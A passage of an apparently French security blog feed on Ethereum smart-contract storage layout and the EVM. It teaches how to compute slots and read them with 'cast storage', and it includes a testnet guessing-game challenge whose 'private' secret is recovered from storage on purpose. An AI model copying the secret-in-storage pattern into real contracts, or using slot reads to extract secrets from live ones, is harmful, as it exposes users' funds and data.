<p>Cette technique de stocker le double de la longueur de la chaine, ou le double auquel on ajoute <code class="language-plaintext highlighter-rouge">1</code>, permet de savoir si on stocke une chaine inférieure à 32 octets ou supérieure à 32 octets. Si le bit de poids faible de la taille est <code class="language-plaintext highlighter-rouge">1</code>, c’est que la chaine fait plus de 32 octets. Sinon, elle fait moins que 32 octets. En enlevant ce bit, et en divisant la taille par 2, on obtient la taille réelle de la chaine.</p>
</blockquote>
<h3 id="structure">Structure</h3>
<p>Enfin, les variables dans une <strong>structure</strong> sont stockées les unes à la suite des autres, comme si c’était des variables indépendantes. Si, dans la structure, il y a des types dynamiques (tableau, mapping etc.), alors les règles qu’on a vues s’appliquent.</p>
<h3 id="exemple">Exemple</h3>
<p>Voici un exemple pour résumer ce qu’on a vu jusque là :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Définition d'une structure</span>
<span class="n">struct</span> <span class="nc">Coin</span> <span class="o">{</span>
<span class="n">string</span> <span class="n">name</span><span class="o">;</span>
<span class="n">uint256</span> <span class="n">price</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// Définition du contrat d'exemple</span>
<span class="n">contract</span> <span class="nc">StorageContract</span> <span class="o">{</span>
<span class="n">uint256</span> <span class="n">constant</span> <span class="no">MAX_SUPPLY</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
<span class="n">address</span> <span class="n">immutable</span> <span class="no">DEST_ADDR</span><span class="o">;</span>
<span class="n">uint256</span> <span class="n">totalSupply</span> <span class="o">=</span> <span class="mi">10</span><span class="o">;</span>
<span class="n">string</span> <span class="n">author</span> <span class="o">=</span> <span class="s">"pixis"</span><span class="o">;</span>
<span class="n">string</span> <span class="n">description</span> <span class="o">=</span> <span class="s">"This is an example of storage layout made by pixis. All details in https://hackndo.com"</span><span class="o">;</span>
<span class="n">uint</span><span class="o">[]</span> <span class="n">coinsId</span> <span class="o">=</span> <span class="o">[</span><span class="mi">1</span><span class="o">,</span><span class="mi">2</span><span class="o">,</span><span class="mi">10</span><span class="o">,</span><span class="mi">12</span><span class="o">];</span>
<span class="n">mapping</span> <span class="o">(</span><span class="n">string</span><span class="o">=></span><span class="n">address</span><span class="o">)</span> <span class="n">accounts</span><span class="o">;</span>
<span class="nc">Coin</span> <span class="n">coin</span> <span class="o">=</span> <span class="nc">Coin</span><span class="o">(</span><span class="s">"PixCoin"</span><span class="o">,</span> <span class="mh">0x1000</span><span class="o">);</span>
<span class="n">constructor</span><span class="o">()</span> <span class="o">{</span>
<span class="no">DEST_ADDR</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">;</span>
<span class="n">accounts</span><span class="o">[</span><span class="s">"pixis"</span><span class="o">]</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">;</span>
<span class="n">accounts</span><span class="o">[</span><span class="s">"empty"</span><span class="o">]</span> <span class="o">=</span> <span class="n">address</span><span class="o">(</span><span class="mh">0x0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Quand on déploie ce contrat, voici à quoi ressemble le storage :</p>
<p><a href="/assets/uploads/2023/06/storage_slots_example.png"><img src="/assets/uploads/2023/06/storage_slots_example.png" alt="Storage slots examples" /></a></p>
<p>Essayons de décortiquer tout ça. Déjà, les deux premières variables <code class="language-plaintext highlighter-rouge">MAX_SUPPLY</code> et <code class="language-plaintext highlighter-rouge">DEST_ADDR</code> ne sont pas stockées dans le storage, donc aucun slot n’est réservé pour ces variables.</p>
<p>Ensuite, les variables suivantes ont un slot assigné, dans l’ordre dans lequel elles sont déclarées.</p>
<blockquote>
<p>Pour effectuer les calculs, j’utilise <a href="https://github.com/foundry-rs/foundry/tree/master/chisel">chisel</a> de la suite <strong>Foundry</strong>.</p>
</blockquote>
<p><a href="/assets/uploads/2023/06/chisel_example.png"><img src="/assets/uploads/2023/06/chisel_example.png" alt="chisel" /></a></p>
<ul>
<li><code class="language-plaintext highlighter-rouge">totalSupply</code> est un entier de 256 bits, donc un slot entier lui est réservé, le slot <code class="language-plaintext highlighter-rouge">0</code>. Sa valeur est <code class="language-plaintext highlighter-rouge">10</code>, donc 0x0a</li>
<li><code class="language-plaintext highlighter-rouge">author</code> est une chaine de caractères de moins de 32 octets. Elle est donc stockée dans le slot suivant, le slot <code class="language-plaintext highlighter-rouge">1</code>, au niveau des bits de poids fort. Sa taille, multipliée par deux (<code class="language-plaintext highlighter-rouge"> 5*2 = 10 = 0x0a</code>) est stockée dans les bits de poids faible.</li>
<li><code class="language-plaintext highlighter-rouge">description</code> est quant à elle une chaine de 86 octets, donc supérieure à 32 octets. Ainsi, son slot <code class="language-plaintext highlighter-rouge">2</code> contient le double de sa taille, auquel on ajoute <code class="language-plaintext highlighter-rouge">1</code> (rappelez-vous, en ajoutant <code class="language-plaintext highlighter-rouge">1</code>, ça indique que la chaine fait plus de 32 octets), donc <code class="language-plaintext highlighter-rouge">86*2+1 = 173 = 0xad</code>. Le slot contenant la chaine correspond au hash du slot de la chaine, donc de <code class="language-plaintext highlighter-rouge">2</code>. Or <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(2)) = 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace</code> donc le slot <code class="language-plaintext highlighter-rouge">0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace</code> contient la chaine de caractères.</li>
<li><code class="language-plaintext highlighter-rouge">coinsId</code> est un tableau contenant 4 éléments. Sa taille <code class="language-plaintext highlighter-rouge">0x04</code> est donc renseignée dans son slot <code class="language-plaintext highlighter-rouge">3</code>. Les slots de ces 4 éléments sont calculés comme suit :
<ul>
<li>Index 0 : <code class="language-plaintext highlighter-rouge">keccak256(abi.encode(3)) = 0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b</code>. Pour les autres éléments, on incrémente le slot de 1 à chaque fois.</li>
<li>Index 1 : <code class="language-plaintext highlighter-rouge">0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c</code></li>
<li>Index 2 : <code class="language-plaintext highlighter-rouge">0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85d</code></li>
<li>Index 3 : <code class="language-plaintext highlighter-rouge">0xc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85e</code></li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">accounts</code> est un mapping dont le slot est <code class="language-plaintext highlighter-rouge">4</code>. On remarque que ce slot est vide, c’est normal. La taille du mapping n’est pas stockée. Pour trouver la valeur d’une clé en particulier, il faut utiliser la fonction <code class="language-plaintext highlighter-rouge">keccak256(abi.encodePacked(key, slot))</code> donc :
<ul>
<li><code class="language-plaintext highlighter-rouge">accounts["pixis"]</code> se trouve au slot <code class="language-plaintext highlighter-rouge">keccak256(abi.encodePacked("pixis", uint(4))) = 0x47e3196153c18a6193d6b7b92ecf7ea03bc91cce35ccd718094e10f1c50bd1e9</code></li>
<li><code class="language-plaintext highlighter-rouge">accounts["empty"]</code> se trouve au slot <code class="language-plaintext highlighter-rouge">keccak256(abi.encodePacked("empty", uint(4))) = 0xace73dd693559189ef5ccbbc8f81155ea53ec7259b948d81d0791cf64125f053</code></li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">coin</code> est une structure contenant deux éléments. Ils sont donc positionnés dans les slots <code class="language-plaintext highlighter-rouge">5</code> (<code class="language-plaintext highlighter-rouge">name</code>, inférieur à 32 octets) et <code class="language-plaintext highlighter-rouge">6</code> (<code class="language-plaintext highlighter-rouge">price</code>, valant <code class="language-plaintext highlighter-rouge">0x1000</code>).</li>
</ul>
<p>Avec toutes ces explications, on est capable de comprendre l’ensemble de l’<strong>account storage</strong> de ce contrat, une fois déployé.</p>
<p><a href="/assets/uploads/2023/06/storage_slots_example_explained.png"><img src="/assets/uploads/2023/06/storage_slots_example_explained.png" alt="Storage slots examples" /></a></p>
<h2 id="lecture-de-la-mémoire">Lecture de la mémoire</h2>
<p>C’est génial, on est capable de lire et comprendre l’espace de stockage des contrats, mais concrètement, comment est-ce qu’on accède à l’espace de stockage d’un contrat déjà déployé sur la blockchain ?</p>
<p>Différents outils permettent de lire les slots du storage d’un contrat. Personnellement, j’utilise l’outil <strong>cast</strong> de la suite <a href="https://github.com/foundry-rs/foundry">foundry</a>.</p>
<p>En effet, lorsque vous installez <strong>foundry</strong> sur votre machine, différents outils sont installés :</p>
<ul>
<li><strong>Forge</strong>: Framework pour effectuer des tests sur Ethereum</li>
<li><strong>Cast</strong>: Outil pour interagir avec les smart contracts et la blockchain</li>
<li><strong>Anvil</strong>: Nœud Ethereum local</li>
<li><strong>Chisel</strong>: Outil REPL pour exécuter rapidement du code Solidity</li>
</ul>
<p>L’outil <strong>cast</strong> est très pratique pour lire les slots d’un contrat. La syntaxe est la suivante :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cast storage 0xcontract_address slot_number <span class="o">[</span><span class="nt">--rpc-url</span> RPC_URL]
</code></pre></div></div>
<p>Par exemple, pour lire le slot <code class="language-plaintext highlighter-rouge">0</code> du contrat à l’adresse <code class="language-plaintext highlighter-rouge">0x099A3B242dceC87e729cEfc6157632d7D5F1c4ef</code> sur Ethereum (<a href="https://etherscan.io/address/0x099a3b242dcec87e729cefc6157632d7d5f1c4ef#code">contrat pris au hasard</a>), la ligne de commande suivante peut être utilisée :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cast storage 0x099A3B242dceC87e729cEfc6157632d7D5F1c4ef 0 <span class="nt">--rpc-url</span> https://eth.llamarpc.com
0x0000000000000000000000000000000000000000000000000000000000000001
</code></pre></div></div>
<p>Il y a donc la valeur <code class="language-plaintext highlighter-rouge">0x01</code> dans le slot <code class="language-plaintext highlighter-rouge">0</code> du contract. Nous pouvons faire une boucle pour lire les 6 premier slots :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>I <span class="k">in</span> <span class="o">{</span>0..5<span class="o">}</span>
<span class="k">do
</span><span class="nb">echo</span> <span class="s2">"SLOT </span><span class="nv">$I</span><span class="s2">: "</span> <span class="si">$(</span>cast storage <span class="nv">$CONTRACT_ADDR</span> <span class="nv">$I</span> <span class="nt">--rpc-url</span> <span class="nv">$RPC_URL</span><span class="si">)</span>
<span class="k">done
</span>SLOT 0: 0x0000000000000000000000000000000000000000000000000000000000000001
SLOT 1: 0x0000000000000000000000000000000000000000000000000000000000000000
SLOT 2: 0x00000000000000000000000000000000000000000000000000c6645100000000
SLOT 3: 0x0000000000000000000000000000000000000000000000000000000000000205
SLOT 4: 0x000000000000000000000000000000000000000003f806d77433774f8c683600
SLOT 5: 0x0000000000000000000000000000000000000000000000000000000000c6647c
</code></pre></div></div>
<h2 id="mise-en-pratique">Mise en pratique</h2>
<p>Un contrat est déployé à l’adresse <code class="language-plaintext highlighter-rouge">0x84229eeFb7DB3f1f2B961c61E7CbEfd9D4c665E3</code> sur le <a href="https://www.alchemy.com/overviews/sepolia-testnet">réseau de test Sepolia</a>.</p>
<p>Ce contrat est un jeu dont le code est :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pragma</span> <span class="n">solidity</span> <span class="o">^</span><span class="mf">0.8</span><span class="o">.</span><span class="mi">9</span><span class="o">;</span>
<span class="n">contract</span> <span class="nc">GuessingGame</span> <span class="o">{</span>
<span class="n">address</span> <span class="kd">public</span> <span class="n">owner</span><span class="o">;</span>
<span class="n">mapping</span><span class="o">(</span><span class="n">address</span> <span class="o">=></span> <span class="n">bool</span><span class="o">)</span> <span class="kd">public</span> <span class="n">hasGuessed</span><span class="o">;</span>
<span class="n">uint256</span> <span class="kd">private</span> <span class="n">secretNumber</span><span class="o">;</span> <span class="c1">// Déclarée comme private. Est-ce vraiment privé ?</span>
<span class="n">constructor</span><span class="o">()</span> <span class="o">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">;</span>
<span class="n">secretNumber</span> <span class="o">=</span> <span class="mi">12345</span><span class="o">;</span> <span class="c1">// Ce n'est pas le vrai numéro</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">guess</span><span class="o">(</span><span class="n">uint256</span> <span class="n">_number</span><span class="o">)</span> <span class="kd">public</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">_number</span> <span class="o">==</span> <span class="n">secretNumber</span><span class="o">)</span> <span class="o">{</span>
<span class="n">hasGuessed</span><span class="o">[</span><span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">]</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="n">function</span> <span class="nf">isWinner</span><span class="o">(</span><span class="n">address</span> <span class="n">_addr</span><span class="o">)</span> <span class="kd">public</span> <span class="n">view</span> <span class="nf">returns</span> <span class="o">(</span><span class="n">bool</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="n">hasGuessed</span><span class="o">[</span><span class="n">_addr</span><span class="o">];</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Le but est d’appeler la fonction <code class="language-plaintext highlighter-rouge">guess()</code> en fournissant un numéro. Si vous tombez sur le bon numéro, vous avez gagné, et vous pourrez le prouver avec la fonction <code class="language-plaintext highlighter-rouge">isWinner()</code>.</p>
<p>Comme nous l’avons vu dans cet article, la variable <code class="language-plaintext highlighter-rouge">secretNumber</code> a été déclarée comme <code class="language-plaintext highlighter-rouge">private</code>, mais cela ne vas pas nous empêcher de récupérer cette valeur. Pour cela, utilisons l’outil <code class="language-plaintext highlighter-rouge">cast</code>.</p>
<blockquote>
<p>Pour vous inciter à essayer, le résultat fourni an dessous n’est pas le résultat réel. A vous de trouver la vraie valeur secrète ! La logique reste la même.</p>
</blockquote>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">RPC_URL</span><span class="o">=</span>https://rpc2.sepolia.org
<span class="nv">CONTRACT_ADDR</span><span class="o">=</span>0x84229eeFb7DB3f1f2B961c61E7CbEfd9D4c665E3
<span class="k">for </span>I <span class="k">in</span> <span class="o">{</span>0..3<span class="o">}</span>
<span class="k">do
</span><span class="nb">echo</span> <span class="s2">"SLOT </span><span class="nv">$I</span><span class="s2">: "</span> <span class="si">$(</span>cast storage <span class="nv">$CONTRACT_ADDR</span> <span class="nv">$I</span> <span class="nt">--rpc-url</span> <span class="nv">$RPC_URL</span><span class="si">)</span>
<span class="k">done</span>
<span class="c"># Output</span>
SLOT 0: 0x00000000000000000000000031d6273610256e6cefd6f26a503c72bb2bdcfe15
SLOT 1: 0x0000000000000000000000000000000000000000000000000000000000000000
SLOT 2: 0x0000000000000000000000000000000000000000000000000000000042424242
SLOT 3: 0x0000000000000000000000000000000000000000000000000000000000000000
</code></pre></div></div>
<p>Nous voyons que les trois premiers slots sont utilisés. Le premier correspond à la première variable d’état, c’est à dire l’adresse <code class="language-plaintext highlighter-rouge">owner</code>. La deuxième variable semble vide, mais c’est normal. C’est le slot utilisé par le mapping <code class="language-plaintext highlighter-rouge">hasGuessed</code>.
<code class="language-plaintext highlighter-rouge">secretNumber</code> est quant à elle enregistrée dans le 3ème slot, et sa valeur est <code class="language-plaintext highlighter-rouge">0x42424242</code>.</p>
<p>Félicitations, vous avez découvert une variable secrète dans un contrat déployé sur un réseau Ethereum !</p>
<p>Pour interagir avec le contrat, toujours avec l’utilitaire <code class="language-plaintext highlighter-rouge">cast</code>, voici comment procéder :</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Pour créer une transaction, on utilise cast send</span>
<span class="c"># Afin de pouvoir signer la transaction, la clé privée doit être fournie.</span>
cast send <span class="nv">$CONTRACT_ADDR</span> <span class="s2">"guess(uint256)"</span> <span class="s2">"10"</span> <span class="nt">--private-key</span> 0xabcdabcd...abcd <span class="nt">--rpc-url</span> <span class="nv">$RPC_URL</span>
<span class="c"># Pour lire des informations sans modifier le storage, on utilise cast call.</span>
<span class="c"># isWinner() n'écrit rien dans le storage, donc pas besoin de lui donner de clé privée. C'est uniquement de la lecture d'information.</span>
<span class="c"># Si l'output est 0, votre adresse n'a toujours pas trouvé le bon numéro.</span>
<span class="c"># Si l'output est 1, félicitations, vous avez trouvé le numéro secret !</span>
cast call <span class="nv">$CONTRACT_ADDR</span> <span class="s2">"isWinner(address)"</span> <span class="s2">"votre addresse"</span> <span class="nt">--rpc-url</span> <span class="nv">$RPC_URL</span>
</code></pre></div></div>
<p>A vous de jouer !</p>
Tue, 03 Oct 2023 08:09:08 +0000
https://beta.hackndo.com/sensitive-data/
https://beta.hackndo.com/sensitive-data/BlockchainEthereum Virtual Machine<p><strong>Ethereum Virtual Machine</strong> (EVM) est une machine virtuelle qui permet de gérer des transactions dans la <a href="/ethereum/">blockchain Ethereum</a> par le biais de smarts contracts. C’est un composant essentiel au fonctionnement de Ethereum que nous allons tenter de comprendre ensemble.</p>
<!--more-->
<h2 id="evm">EVM</h2>
<p>Pour exécuter des smart contracts (des programmes dans le monde Ethereum), des règles doivent être suivies. Ces règles sont en partie décrites dans le <a href="https://ethereum.github.io/yellowpaper/paper.pdf">Yellow Paper</a> de Ethereum, et peuvent être implémentées par n’importe qui dans n’importe quel langage. Il existe ainsi une version python de EVM (<a href="https://github.com/ethereum/py-evm">py-evm</a>), une version Rust (<a href="https://github.com/bluealloy/revm">revm</a>), ou encore une version Go (<a href="https://github.com/duanbing/go-evm">go-evm</a>). Cette liste n’est évidemment pas exhaustive.</p>
<h2 id="opcodes">Opcodes</h2>
<p>Un des éléments essentiels de l’EVM (comme tout ordinateur, en soit) est de pouvoir lire et exécuter des instructions, ou <strong>opcodes</strong>. Les instructions Ethereum sont décrites dans le site officiel de Ethereum, <a href="https://ethereum.org/fr/developers/docs/evm/opcodes/">Opcodes for the EVM</a>. Le site <a href="https://evm.codes/">evm.codes</a> est également très bien fait.</p>
<p>C’est ce type de code qui est compris par l’EVM. Il est généré lorsqu’un langage haut niveau est compilé. L’un des langages les plus utilisés pour écrire des smart contracts est <strong>Solidity</strong>.</p>
<p>Voici un exemple très simple de smart contract écrit avec Solidity.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: GPL-3.0</span>
<span class="n">pragma</span> <span class="n">solidity</span> <span class="mf">0.8</span><span class="o">.</span><span class="mi">18</span><span class="o">;</span>
<span class="n">contract</span> <span class="nc">HackndoMembers</span> <span class="o">{</span>
<span class="c1">// Déclaration de variables persistantes dans la blockchain</span>
<span class="n">address</span> <span class="kd">public</span> <span class="n">owner</span><span class="o">;</span>
<span class="n">address</span><span class="o">[]</span> <span class="kd">public</span> <span class="n">members</span><span class="o">;</span>
<span class="n">uint</span> <span class="kd">private</span> <span class="n">memberCount</span><span class="o">;</span>
<span class="c1">// Constructeur, exécuté lors du déploiement du smart contract</span>
<span class="n">constructor</span><span class="o">()</span> <span class="o">{</span>
<span class="n">owner</span> <span class="o">=</span> <span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">;</span>
<span class="o">}</span>
<span class="c1">// Fonction exposée publiquement pour s'ajouter en tant que membre</span>
<span class="n">function</span> <span class="nf">becomeMember</span><span class="o">()</span> <span class="n">external</span> <span class="o">{</span>
<span class="n">members</span><span class="o">.</span><span class="na">push</span><span class="o">(</span><span class="n">msg</span><span class="o">.</span><span class="na">sender</span><span class="o">);</span>
<span class="n">memberCount</span><span class="o">++;</span>
<span class="o">}</span>
<span class="c1">// Fonction exposée publiquement permettant de trouver un membre</span>
<span class="n">function</span> <span class="nf">getMember</span><span class="o">(</span><span class="n">uint</span> <span class="n">_id</span><span class="o">)</span> <span class="n">external</span> <span class="n">view</span> <span class="nf">returns</span><span class="o">(</span><span class="n">address</span> <span class="n">member</span><span class="o">)</span> <span class="o">{</span>
<span class="n">require</span><span class="o">(</span><span class="n">_id</span> <span class="o"><</span> <span class="n">memberCount</span><span class="o">,</span> <span class="s">"id too big"</span><span class="o">);</span>
<span class="n">require</span><span class="o">(</span><span class="n">members</span><span class="o">[</span><span class="n">_id</span><span class="o">]</span> <span class="o">!=</span> <span class="mh">0x00</span><span class="o">,</span> <span class="s">"Not a member"</span><span class="o">);</span>
<span class="n">member</span> <span class="o">=</span> <span class="n">members</span><span class="o">[</span><span class="n">_id</span><span class="o">];</span>
<span class="o">}</span>
<span class="c1">// Fonction uniquement accessible au créateur du smart contract pour supprimer un membre</span>
<span class="n">function</span> <span class="nf">removeMember</span><span class="o">(</span><span class="n">uint</span> <span class="n">_id</span><span class="o">)</span> <span class="n">external</span> <span class="o">{</span>
<span class="n">require</span><span class="o">(</span><span class="n">msg</span><span class="o">.</span><span class="na">sender</span> <span class="o">==</span> <span class="n">owner</span><span class="o">,</span> <span class="s">"Owner only"</span><span class="o">);</span>
<span class="n">members</span><span class="o">[</span><span class="n">_id</span><span class="o">]</span> <span class="o">=</span> <span class="n">address</span><span class="o">(</span><span class="mh">0x0</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<p>Une fois compilé, ce programme sera une suite d’instructions compris par l’EVM. L’outil <code class="language-plaintext highlighter-rouge">solc</code> permet de compiler du Solidity.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>solc contract.sol <span class="nt">--bin</span>
<span class="o">=======</span> contract.sol:HackndoMembers <span class="o">=======</span>
Binary:
608060405234801561001057600080fd5b5033600080610100[...]
</code></pre></div></div>
<p>Il permet d’ailleurs de voir les instructions générées.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>solc contract.sol <span class="nt">--opcodes</span>
<span class="o">=======</span> contract.sol:HackndoMembers <span class="o">=======</span>
Opcodes:
PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 <span class="o">[</span>...]
</code></pre></div></div>
<p>Parmi ces instructions, certaines permettent d’effectuer des opérations mathématiques, comme <code class="language-plaintext highlighter-rouge">add</code>, <code class="language-plaintext highlighter-rouge">sub</code>, <code class="language-plaintext highlighter-rouge">mul</code>, ou encore <code class="language-plaintext highlighter-rouge">div</code> par exemple. D’autres permettent de comparer des éléments comme <code class="language-plaintext highlighter-rouge">lt</code> (Lower Than), <code class="language-plaintext highlighter-rouge">gt</code> (Greater Than) ou <code class="language-plaintext highlighter-rouge">eq</code>.</p>
<p>Il est possible de lire et d’écrire dans différentes zones de stockage, telles que la <strong>memory</strong> avec <code class="language-plaintext highlighter-rouge">mLoad</code>, <code class="language-plaintext highlighter-rouge">mStore</code>, ou le <strong>storage</strong> avec <code class="language-plaintext highlighter-rouge">sLoad</code>, <code class="language-plaintext highlighter-rouge">sStore</code> par exemple.</p>
<p>La gestion de la <strong>stack</strong> (autre zone mémoire) est effectuée avec des opcodes tels que <code class="language-plaintext highlighter-rouge">push1</code>, <code class="language-plaintext highlighter-rouge">push2</code>, …, <code class="language-plaintext highlighter-rouge">push32</code>, et <code class="language-plaintext highlighter-rouge">pop</code>.</p>
<blockquote>
<p>Ces différents types de stockages seront abordés plus tard dans cet article.</p>
</blockquote>
<p>Un contrat peut faire des appels à d’autres fonctions, potentiellement d’autres contrats, via <code class="language-plaintext highlighter-rouge">call</code>, <code class="language-plaintext highlighter-rouge">staticCall</code> et <code class="language-plaintext highlighter-rouge">delegateCall</code>.</p>
<p>Enfin, l’instruction <code class="language-plaintext highlighter-rouge">revert</code> permet d’effectuer une sorte d’exception qui met fin à l’appel en cours. Dans la plupart des cas, la transaction sera considérée comme invalide, et aucun changement ne sera effectué.</p>
<p>Ces différents exemples sont loin d’être exhaustifs, mais ils donnent une idée sur ce que l’EVM doit traiter lorsqu’un smart contract est exécuté.</p>
<h2 id="gas">Gas</h2>
<p>Chaque instruction exécutée sur les noeuds du réseau a un prix, dont l’unité est le <strong>gas</strong>. A titre d’exemple, exécuter un <code class="language-plaintext highlighter-rouge">add</code> coûte 3 gas, un <code class="language-plaintext highlighter-rouge">pop</code> n’en coûte que 2.</p>
<p>Lors de l’appel à une fonction d’un smart contract, un utilisateur doit payer le prix nécessaire à l’exécution des instructions. Il doit donc fournir suffisamment de <strong>gas</strong> lors de sa transaction. S’il en a trop fourni, ce n’est pas grave, le surplus lui sera remboursé.</p>
<p>S’il n’en a <strong>pas fourni assez</strong>, en revanche, les instructions vont être exécutées jusqu’à ce que les ressources en gas s’épuisent. Lorsque c’est le cas, la transactions est annulée, et le gas fourni par l’utilisateur est perdu. En effet, bien que la transaction soit annulée, il a quand même fallut des ressources pour s’en rendre compte, c’est donc trop tard.</p>
<blockquote>
<p>Cette notion de <strong>gas</strong> a été introduite pour éviter que des ressources soient utilisées inutilement, notamment pour éviter des boucles infinies ou des attaques qui encombreraient le réseau. Il existe d’ailleurs un maximum de <strong>gas</strong> possible dans un même bloc (actuellement 30 millions de gas).</p>
</blockquote>
<h2 id="solidity">Solidity</h2>
<p>Pour la suite de cet article, ayez en tête que l’EVM, finalement, ne fait qu’exécuter des opcodes, les uns après les autres. Elle offre également différents espaces de stockage vides qui peuvent être utilisés, et c’est tout. Comment ces opcodes sont organisés ou comment les données sont structurées, c’est au rôle du compilateur de gérer tout ça.</p>
<p>Ce que nous allons voir dans cet article concerne le compilateur (et le langage) Solidity. Les compilateurs des autres langages se sont souvent référés à Solidity et reproduisent les même conventions, mais ce n’est pas toujours le cas.</p>
<h2 id="variables-globales">Variables globales</h2>
<p>Lorsqu’un smart contract est écrit avec Solidity, il existe trois variables globales, accessible au smart contract, qui lui permettent d’avoir des informations sur le contexte dans lequel il est exécuté :</p>
<ul>
<li><strong>Block</strong> (<code class="language-plaintext highlighter-rouge">block</code>) : Cette variable contient des informations sur le bloc dans lequel a été validé la transaction. On trouvera par exemple le numéro du bloc, le moment où il a été ajouté à la blockchain, ou encore son hash.</li>
<li><strong>Transaction</strong> (<code class="language-plaintext highlighter-rouge">tx</code>) : Des informations relatives à la transaction en cours sont disponibles dans cette variable. C’est ici qu’on saura par exemple qui est à l’origine de la transaction (et non pas à l’origine du dernier message), donc ce sera toujours un EOA.</li>
<li><strong>Message</strong> (<code class="language-plaintext highlighter-rouge">msg</code>) : Plusieurs messages peuvent être envoyés au sein d’une transaction. Dans ces messages, on peut savoir qui a envoyé le message, combien d’Ether ont été fournis, les données jointes au message, etc. En fonction du contexte et du message, la variable <code class="language-plaintext highlighter-rouge">msg</code> peut évoluer. Par exemple, quand un contrat appelle un autre contrat, l’attribut <code class="language-plaintext highlighter-rouge">msg.sender</code> sera modifié.</li>
</ul>
<h2 id="stockage">Stockage</h2>
<p>Le code du smart contract (composé des instructions telles que celles que nous avons introduites) doit être stocké quelque part, tout comme les variables du contrat, ou d’autres données temporaires ou non, nécessaires à sa bonne exécution. Pour cela, l’EVM dispose de différents types de stockages, permanents ou non, pour différents objectifs.</p>
<p><a href="/assets/uploads/2023/06/evm_storage.png"><img src="/assets/uploads/2023/06/evm_storage.png" alt="EVM Storage" /></a></p>
<h2 id="stockage-permanent">Stockage permanent</h2>
<p>Il existe deux types de stockages permanents. Ce sont les endroits dans lesquels des informations sont stockées par les noeuds, et persistants lors de l’exécution de transactions. Ainsi, quand une transaction est terminée, ce stockage sera enregistré, et pourra être utilisé lors de la prochaine transaction. Pratique !</p>
<h3 id="bytecode">Bytecode</h3>
<p>Le code du smart contract est stocké de manière permanente, mais ne peut <strong>pas être modifié</strong>. C’est du <em>read-only</em>. Si un problème est détecté dans le code du smart contract après son déploiement, c’est trop tard. Il faut déployer un nouveau smart contract avec sa correction, et prévenir les utilisateurs que l’adresse du smart contract a changé.</p>
<blockquote>
<p>Il existe des moyens de gérer ce problème avec des smart contracts qui prennent le rôle de proxy, mais ce n’est pas le sujet, et ces contrats peuvent également posséder des bugs.</p>
</blockquote>
<h3 id="account-storage">Account storage</h3>
<p>Le lieu de stockage persistant pour les smart contract, c’est l’<strong>account storage</strong>. C’est un peu le disque dur d’un ordinateur. Nous en avons parlé dans l’article sur <a href="/ethereum/">Ethereum</a>. Dans le <strong>world state</strong> (l’état global de Ethereum), à chaque adresse sont associés différents éléments, comme le solde d’Ether du compte, mais également, dans le cas des smart contracts, un “espace de stockage” propre au smart contract.</p>
<p>Concrètement, le storage est une base de données clé/valeur. La clé est une valeur de 256 bits, et de même pour la valeur. On peut alors stocker <code class="language-plaintext highlighter-rouge">2**256</code> clés, largement de quoi faire, normalement. Pour bien comprendre, on peut également considérer ce stockage comme un tableau de <code class="language-plaintext highlighter-rouge">2**256</code> lignes, et à chaque ligne on peut y assigner une valeur.</p>
<p>Avant que quoique ce soit ne soit exécuté, ce tableau est vide, ce ne sont que des zéros. Donc chaque contrat possède, par défaut, un tableau de <code class="language-plaintext highlighter-rouge">2**256</code> lignes, et à chaque ligne il y a <code class="language-plaintext highlighter-rouge">2**256</code> bits à zéro.</p>
<p><a href="/assets/uploads/2023/06/account_storage.png"><img src="/assets/uploads/2023/06/account_storage.png" alt="Account Storage" /></a></p>
<p>Généralement, les premiers slots d’un contrat Solidity contiennent les variables d’état (<strong>state variables</strong>) du contrat.</p>
<p>Prenons l’exemple suivant :</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">contract</span> <span class="nc">Hackndo</span> <span class="o">{</span>
<span class="cm">/**
* Variables d'état
*/</span>
